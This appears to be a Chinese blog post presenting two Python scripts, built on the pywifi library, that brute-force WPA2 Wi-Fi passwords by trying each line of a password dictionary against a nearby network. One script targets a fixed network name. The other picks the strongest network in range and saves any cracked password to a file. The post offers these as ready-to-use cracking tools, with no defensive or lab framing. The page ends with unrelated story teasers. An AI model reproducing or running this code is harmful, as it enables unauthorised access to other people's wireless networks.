wifi破密

配合密码生成器、密码字典使用
把最有可能的密码组合先放里面生成一定量的密码字典,减少工作量。

(1)

# coding:utf-8
import time  #时间
import pywifi  #破解wifi
from pywifi import const  #引用一些定义
from asyncio.tasks import sleep
class PoJie():
    def __init__(self,path):
        self.file=open(path,"r",errors="ignore")
        wifi = pywifi.PyWiFi() #抓取网卡接口
        self.iface = wifi.interfaces()[0]#抓取第一个无限网卡
        self.iface.disconnect() #测试链接断开所有链接
 
        time.sleep(1) #休眠1秒
 
        #测试网卡是否属于断开状态,
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
    def readPassWord(self):
            print("开始破解:")
            while True:
 
                try:
                    myStr =self.file.readline()
                    if not myStr:
                        break
                    bool1=self.test_connect(myStr)
                    if bool1:
                        print("密码正确:",myStr)
                        break
                    else:
                        print("密码错误:"+myStr)
                    sleep(3)
                except:
                    continue
 
    def test_connect(self,findStr):#测试链接
 
        profile = pywifi.Profile()  #创建wifi链接文件
        profile.ssid ="e2" #wifi名称
        profile.auth = const.AUTH_ALG_OPEN  #网卡的开放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP    #加密单元
        profile.key = findStr #密码
 
        self.iface.remove_all_network_profiles() #删除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)#设定新的链接文件
        self.iface.connect(tmp_profile)#链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  #判断是否连接上
            isOK=True   
        else:
            isOK=False
        self.iface.disconnect() #断开
        time.sleep(1)
        #检查断开状态
        assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
 
        return isOK
 
 
    def __del__(self):
        self.file.close()
 
path=r"C:\Users\Administrator\Desktop\csdnwifi.txt"
start=PoJie(path)
start.readPassWord()

(2)

import time
# 破解wifi库
import pywifi
from pywifi import const


class PoJie(object):

    def __init__(self, path):
        # wifi密码字典文件
        self.file = open(path, 'r', errors='ignore')
        # 抓取网卡接口
        wifi = pywifi.PyWiFi()
        # 抓取第一个网卡
        self.iface = wifi.interfaces()[0]
        # 测试连接时断开所有的链接
        self.iface.disconnect()
        time.sleep(1)
        self.alist = self.initialssidnamelist()
        # 测试是否处于断开状态
        # assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def bies(self):
        # 扫描
        self.iface.scan()
        # 获取扫描结果
        bessis = self.iface.scan_results()
        alist = []
        for data in bessis:
            alist.append((data.ssid, data.signal))
        # 按信号强度排序
        return len(alist), sorted(alist, key=lambda st: st[1], reverse=True)

    def getsignal(self):
        while True:
            # 获取所有的wifi
            n, data = self.bies()
            time.sleep(1)
            if n is not 0:
                # 如果数量不为0,返回前10个信号最好的
                return data[0:1]

    def initialssidnamelist(self):
        ssidlist = self.getsignal()
        namelist = []
        # 获取前10个wifi的名称
        for item in ssidlist:
            print(item[0])
            namelist.append(item[0])
        return namelist

    def readPassword(self, ssidname, myStr):
        # 测试wifi名和密码是否匹配
        bool1 = self.test_connect(myStr, ssidname)
        if len(myStr) < 8:
            return False
        if bool1:
            # 保存密码和wifi名到文件中
            save_password_to_file(myStr, ssidname)
            print('------------------------------------------------密码正确: ' + myStr + '-----' + ssidname)
            return True
        else:
            print('密码错误: ' + myStr + ' ' + ssidname)
            return False

    def test_connect(self, findStr, ssidname):
        """
        测试连接
        :param findStr: 密码
        :param ssidname: wifi名
        """
        # 创建wifi链接文件
        profile = pywifi.Profile()
        #  wifi名称
        profile.ssid = ssidname
        # 开放网卡
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 密码
        profile.key = findStr
        # 删除所有的wifi文件
        self.iface.remove_all_network_profiles()
        # 设置新的链接文件
        tmp_profile = self.iface.add_network_profile(profile)
        # 连接
        self.iface.connect(tmp_profile)
        time.sleep(2)
        # 判断是否已经连接上
        if self.iface.status() == const.IFACE_CONNECTED:
            isOk = True
        else:
            isOk = False
        self.iface.disconnect()
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOk

    def run(self):
        while True:
            myStr = self.file.readline()
            for ssidname in self.alist:
                ret = self.readPassword(ssidname, myStr)
                if ret:
                    raise FileExistsError

    def __del__(self):
        self.file.close()


def save_password_to_file(myStr, ssidname):
    with open('password.txt', 'a') as fp:
        fp.write(str(myStr) + '-->' + str(ssidname))


if __name__ == '__main__':
    # 密码字典文件所在路径
    path = 'D:\\md\\es.txt'#此处是wifi密码字典文件的位置
    start = PoJie(path)
    start.run()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 230,578评论 6 544
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 99,701评论 3 429
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 178,691评论 0 383
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 63,974评论 1 318
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 72,694评论 6 413
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 56,026评论 1 329
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 44,015评论 3 450
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 43,193评论 0 290
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 49,719评论 1 336
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 41,442评论 3 360
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 43,668评论 1 374
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 39,151评论 5 365
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 44,846评论 3 351
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 35,255评论 0 28
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 36,592评论 1 295
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 52,394评论 3 400
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 48,635评论 2 380

推荐阅读更多精彩内容

  • 先分享一组比较抽象的几何插画 三张图全部由各种几何图形组成的,由颜色渐变形成体积感,非常有意思 这张海...
    tire默阅读 130评论 0 0
  • “我骗A说我结婚了,要生娃了,她也没回复我。” “我做梦梦到A了,梦里回到大学时期,真开心。” “要是A也能一起去...
    穷言乱语阅读 411评论 2 1
  • 一生之中,我要感谢的人实在太多了,感谢老师们对我的教导、感谢朋友们对我的支持、感谢同学们对我的照顾,我尤其要感谢爸...
    我悔过阅读 338评论 0 8
  • 现在一些主流经济学观点都认为轻微的通胀是有利于经济发展的。而在我看来,这是经济学里最大的伪命题。 不靠谱的通胀理由...
    V基督山伯爵阅读 299评论 3 4
  • 【日精进打卡第19天】 姓名:上官晓军 六项精进第325期学员。 一、【知~勤学】 ①持诵 默背《六项精进》大纲0...
    笃行恒毅阅读 87评论 0 0